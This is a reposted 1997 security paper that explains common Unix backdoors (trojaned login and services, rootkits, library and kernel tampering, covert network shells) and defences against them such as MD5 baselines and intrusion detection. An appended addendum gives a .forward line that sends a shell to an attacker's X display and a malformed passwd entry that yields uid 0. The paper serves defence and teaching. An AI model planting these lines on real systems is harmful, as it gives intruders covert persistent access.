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Friday, October 29, 2004

System Backdoors Explained


By Christopher Klaus 8/4/97

Since the early days of intruders breaking into computers, they have tried

to develop techniques or backdoors that allow them to get back into the

system. In this paper, it will be focused on many of the common backdoors

and possible ways to check for them. Most of focus will be on Unix

backdoors with some discussion on future Windows NT backdoors. This will

describe the complexity of the issues in trying to determine the methods

that intruders use and the basis for administrators understanding on how

they might be able to stop the intruders from getting back in. When an

administrator understands how difficult it would be to stop intruder once

they are in, the appreciation of being proactive to block the intruder from

ever getting in becomes better understood. This is intended to cover many

of the popular commonly used backdoors by beginner and advanced intruders.

This is not intended to cover every possible way to create a backdoor as

the possibilities are limitless.

The backdoor for most intruders provide two or three main functions:

Be able to get back into a machine even if the administrator tries to

secure it, e.g., changing all the passwords.

Be able to get back into the machine with the least amount of visibility.

Most backdoors provide a way to avoid being logged and many times the

machine can appear to have no one online even while an intruder is using


Be able to get back into the machine with the least amount of time. Most

intruders want to easily get back into the machine without having to do all

the work of exploiting a hole to gain access.

In some cases, if the intruder may think the administrator may detect any

installed backdoor, they will resort to using the vulnerability repeatedly

to get on a machine as the only backdoor. Thus not touching anything that

may tip off the administrator. Therefore in some cases, the

vulnerabilities on a machine remain the only unnoticed backdoor.

Password Cracking Backdoor

One of the first and oldest methods of intruders used to gain not only

access to a Unix machine but backdoors was to run a password cracker. This

uncovers weak passworded accounts. All these new accounts are now possible

backdoors into a machine even if the system administrator locks out the

intruder's current account. Many times, the intruder will look for unused

accounts with easy passwords and change the password to something

difficult. When the administrator looked for all the weak passworded

accounts, the accounts with modified passwords will not appear. Thus the

administrator will not be able to easily determine which accounts to lock


Rhosts + + Backdoor

On networked Unix machines, services like Rsh and Rlogin used a simple

authentication method based on hostnames that appear in rhosts. A user

could easily configure which machines not to require a password to log

into. An intruder that gained access to someone's rhosts file could put a

"+ +" in the file and that would allow anyone from anywhere to log into

that account without a password. Many intruders use this method especially

when NFS is exporting home directories to the world. These accounts

become backdoors for intruders to get back into the system. Many intruders

prefer using Rsh over Rlogin because it is many times lacking any logging

capability. Many administrators check for "+ +" therefore an intruder may

actually put in a hostname and username from another compromised account on

the network, making it less obvious to spot.

Checksum and Timestamp Backdoors

Early on, many intruders replaced binaries with their own trojan versions.

Many system administrators relied on time-stamping and the system checksum

programs, e.g., Unix's sum program, to try to determine when a binary file

has been modified. Intruders have developed technology that will recreate

the same time-stamp for the trojan file as the original file. This is

accomplished by setting the system clock time back to the original file's

time and then adjusting the trojan file's time to the system clock. Once

the binary trojan file has the exact same time as the original, the system

clock is reset to the current time. The sum program relies on a CRC

checksum and is easily spoofed. Intruders have developed programs that

would modify the trojan binary to have the necessary original checksum,

thus fooling the administrators. MD5 checksums is the recommended choice

to use today by most vendors. MD5 is based on an algorithm that no one has

yet to date proven can be spoofed.

Login Backdoor

On Unix, the login program is the software that usually does the password

authentication when someone telnets to the machine. Intruders grabbed the

source code to login.c and modified it that when login compared the user's

password with the stored password, it would first check for a backdoor

password. If the user typed in the backdoor password, it would allow you to

log in regardless of what the administrator sets the passwords to. Thus

this allowed the intruder to log into any account, even root. The

password backdoor would spawn access before the user actually logged in and

appeared in utmp and wtmp. Therefore an intruder could be logged in and

have shell access without it appearing anyone is on that machine as that

account. Administrators started noticing these backdoors especially if

they did a "strings" command to find what text was in the login program.

Many times the backdoor password would show up. The intruders then

encrypted or hid the backdoor password better so it would not appear by

just doing strings. Many of the administrators can detect these backdoors

with MD5 checksums.

Telnetd Backdoor

When a user telnets to the machine, inetd service listens on the port and

receive the connection and then passes it to in.telnetd, that then runs

login. Some intruders knew the administrator was checking the login

program for tampering, so they modified in.telnetd. Within in.telnetd, it

does several checks from the user for things like what kind of terminal the

user was using. Typically, the terminal setting might be Xterm or VT100.

An intruder could backdoor it so that when the terminal was set to

"letmein", it would spawn a shell without requiring any authentication.

Intruders have backdoored some services so that any connection from a

specific source port can spawn a shell.

Services Backdoor

Almost every network service has at one time been backdoored by an

intruder. Backdoored versions of finger, rsh, rexec, rlogin, ftp, even

inetd, etc., have been floating around forever. There are programs that

are nothing more than a shell connected to a TCP port with maybe a backdoor

password to gain access. These programs sometimes replace a service like

uucp that never gets used or they get added to the inetd.conf file as a new

service. Administrators should be very wary of what services are running

and analyze the original services by MD5 checksums.

Cronjob backdoor

Cronjob on Unix schedules when certain programs should be run. An intruder

could add a backdoor shell program to run between 1 AM and 2 AM. So for 1

hour every night, the intruder could gain access. Intruders have also

looked at legitimate programs that typically run in cronjob and built

backdoors into those programs as well.

Library backdoors

Almost every UNIX system uses shared libraries. The shared libraries are

intended to reuse many of the same routines thus cutting down on the size

of programs. Some intruders have backdoored some of the routines like

crypt.c and _crypt.c. Programs like login.c would use the crypt() routine

and if a backdoor password was used it would spawn a shell. Therefore,

even if the administrator was checking the MD5 of the login program, it was

still spawning a backdoor routine and many administrators were not checking

the libraries as a possible source of backdoors.

One problem for many intruders was that some administrators started MD5

checksums of almost everything. One method intruders used to get around

that is to backdoor the open() and file access routines. The backdoor

routines were configured to read the original files, but execute the trojan

backdoors. Therefore, when the MD5 checksum program was reading these

files, the checksums always looked good. But when the system ran the

program, it executed the trojan version. Even the trojan library itself,

could be hidden from the MD5 checksums. One way to an administrator could

get around this backdoor was to statically link the MD5 checksum checker

and run on the system. The statically linked program does not use the

trojan shared libraries.

Kernel backdoors

The kernel on Unix is the core of how Unix works. The same method used for

libraries for bypassing MD5 checksum could be used at the kernel level,

except even a statically linked program could not tell the difference. A

good backdoored kernel is probably one of the hardest to find by

administrators, fortunately kernel backdoor scripts have not yet been

widely made available and no one knows how wide spread they really are.

File system backdoors

An intruder may want to store their loot or data on a server somewhere

without the administrator finding the files. The intruder's files can

typically contain their toolbox of exploit scripts, backdoors, sniffer

logs, copied data like email messages, source code, etc. To hide these

sometimes large files from an administrator, an intruder may patch the

files system commands like "ls", "du", and "fsck" to hide the existence of

certain directories or files. At a very low level, one intruder's backdoor

created a section on the hard drive to have a proprietary format that was

designated as "bad" sectors on the hard drive. Thus an intruder could

access those hidden files with only special tools, but to the regular

administrator, it is very difficult to determine that the marked "bad"

sectors were indeed storage area for the hidden file system.

Bootblock backdoors

In the PC world, many viruses have hid themselves within the bootblock

section and most antivirus software will check to see if the bootblock has

been altered. On Unix, most administrators do not have any software that

checks the bootblock, therefore some intruders have hidden some backdoors

in the bootblock area.

Process hiding backdoors

An intruder many times wants to hide the programs they are running. The

programs they want to hide are commonly a password cracker or a sniffer.

There are quite a few methods and here are some of the more common:

An intruder may write the program to modify its own argv[] to make it look

like another process name.

An intruder could rename the sniffer program to a legitimate service like

in.syslog and run it. Thus when an administrator does a "ps" or looks at

what is running, the standard service names appear.

An intruder could modify the library routines so that "ps" does not show

all the processes.

An intruder could patch a backdoor or program into an interrupt driven

routine so it does not appear in the process table. An example backdoor

using this technique is amod.tar.gz available on

http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html (Not There any more)

An intruder could modify the kernel to hide certain processes as well.


One of the most popular packages to install backdoors is rootkit. It can

easily be located using Web search engines. From the Rootkit README, here

are the typical files that get installed:

z2 - removes entries from utmp, wtmp, and lastlog.

Es - rokstar's ethernet sniffer for sun4 based kernels.

Fix - try to fake checksums, install with same dates/perms/u/g.

Sl - become root via a magic password sent to login.

Ic - modified ifconfig to remove PROMISC flag from output.

ps: - hides the processes.

Ns - modified netstat to hide connections to certain machines.

Ls - hides certain directories and files from being listed.

du5 - hides how much space is being used on your hard drive.

ls5 - hides certain files and directories from being listed.

Network traffic backdoors

Not only do intruders want to hide their tracks on the machine, but also

they want to hide their network traffic as much as possible. These network

traffic backdoors sometimes allow an intruder to gain access through a

firewall. There are many network backdoor programs that allow an intruder

to set up on a certain port number on a machine that will allow access

without ever going through the normal services. Because the traffic is

going to a non-standard network port, the administrator can overlook the

intruder's traffic. These network traffic backdoors are typically using

TCP, UDP, and ICMP, but it could be many other kinds of packets.

TCP Shell Backdoors

The intruder can set up these TCP Shell backdoors on some high port number

possibly where the firewall is not blocking that TCP port. Many times,

they will be protected with a password just so that an administrator that

connects to it, will not immediately see shell access. An administrator

can look for these connections with netstat to see what ports are listening

and where current connections are going to and from. Many times, these

backdoors allow an intruder to get past TCP Wrapper technology. These

backdoors could be run on the SMTP port, which many firewalls allow traffic

to pass for e-mail.

UDP Shell Backdoors

Administrator many times can spot a TCP connection and notice the odd

behavior, while UDP shell backdoors lack any connection so netstat would

not show an intruder accessing the Unix machine. Many firewalls have been

configured to allow UDP packets for services like DNS through. Many times,

intruders will place the UDP Shell backdoor on that port and it will be

allowed to by-pass the firewall.

ICMP Shell Backdoors

Ping is one of the most common ways to find out if a machine is alive by

sending and receiving ICMP packets. Many firewalls allow outsiders to ping

internal machines. An intruder can put data in the Ping ICMP packets and

tunnel a shell between the pinging machines. An administrator may notice a

flurry of Ping packets, but unless the administrator looks at the data in

the packets, an intruder can be unnoticed.

Encrypted Link

An administrator can set up a sniffer trying to see data appears as someone

accessing a shell, but an intruder can add encryption to the Network

traffic backdoors and it becomes almost impossible to determine what is

actually being transmitted between two machines.

Windows NT

Because Windows NT does not easily allow multiple users on a single machine

and remote access similar as Unix, it becomes harder for the intruder to

break into Windows NT, install a backdoor, and launch an attack from it.

Thus you will find more frequently network attacks that are spring boarded

from a Unix box than Windows NT. As Windows NT advances in multi-user

technologies, this may give a higher frequency of intruders who use Windows

NT to their advantage. And if this does happen, many of the concepts from

Unix backdoors can be ported to Windows NT and administrators can be ready

for the intruder. Today, there are already telnet daemons available for

Windows NT. With Network Traffic backdoors, they are very feasible for

intruders to install on Windows NT.


As backdoor technology advances, it becomes even harder for administrators

to determine if an intruder has gotten in or if they have been successfully

locked out.


One of the first steps in being proactive is to assess how vulnerable your

network is, thus being able to figure out what holes exist that should be

fixed. Many commercial tools exist to help scan and audit the network and

systems for vulnerabilities. Many companies could dramatically improve

their security if they only installed the security patches made freely

available by their vendors.

MD5 Baselines

One necessary component of a system scanner is MD5 checksum baselines.

This MD5 baseline should be built up before a hacker attack with clean

systems. Once a hacker is in and has installed backdoors, trying to create

a baseline after the fact could incorporate the backdoors into the

baseline. Several companies had been hacked and had backdoors installed on

their systems for many months. Overtime, all the backups of the systems

contained the backdoors. When some of these companies found out they had

a hacker, they restored a backup in hopes of removing any backdoors. The

effort was futile since they were restoring all the files, even the

backdoored ones. The binary baseline comparison needs to be done before an

attack happens.

Intrusion detection

Intrusion detection is becoming more important as organizations are hooking

up and allowing connections to some of their machines. Most of the older

intrusion detection technology was log-based events. The latest intrusion

detection system (IDS) technology is based on real-time sniffing and

network traffic security analysis. Many of the network traffic backdoors

can now easily be detected. The latest IDS technology can take a look at

the DNS UDP packets and determine if it matches the DNS protocol requests.

If the data on the DNS port does not match the DNS protocol, an alert flag

can be signaled and the data captured for further analysis. The same

principle can be applied to the data in an ICMP packet to see if it is the

normal ping data or if it is carrying encrypted shell session.

Boot from CD-ROM.

Some administrators may want to consider booting from CD-ROM thus

eliminating the possibility of an intruder installing a backdoor on the

CD-ROM. The problem with this method is the cost and time of implementing

this solution enterprise wide.


Because the security field is changing so fast, with new vulnerabilities

being announced daily and intruders are constantly designing new attack and

backdoor techniques, no security technology is effective without vigilance.

Be aware that no defense is foolproof, and that there is no substitute for

diligent attention.


you may want to add:

.forward Backdoor

On Unix machines, placing commands into the .forward file was also

a common method of regaining access. For the account ``username''

a .forward file might be constructed as follows:


|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"

permutations of this method include alteration of the systems mail

aliases file (most commonly located at /etc/aliases). Note that

this is a simple permutation, the more advanced can run a simple

script from the forward file that can take arbitrary commands via

stdin (after minor preprocessing).

PS: The above method is also useful gaining access a companies

mailhub (assuming there is a shared a home directory FS on

the client and server).

> Using smrsh can effectively negate this backdoor (although it's quite

> possibly still a problem if you allow things like elm's filter or

> procmail which can run programs themselves...).


you may want to add this "feature" that can act as a backdoor:

when specifying a wrong uid/gid in the /etc/password file,

most login(1) implementations will fail to detect the wrong

uid/gid and atoi(3) will set uid/gid to 0, giving superuser



rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh

on Linux boxes, this will give uid 0 to user rmartin.


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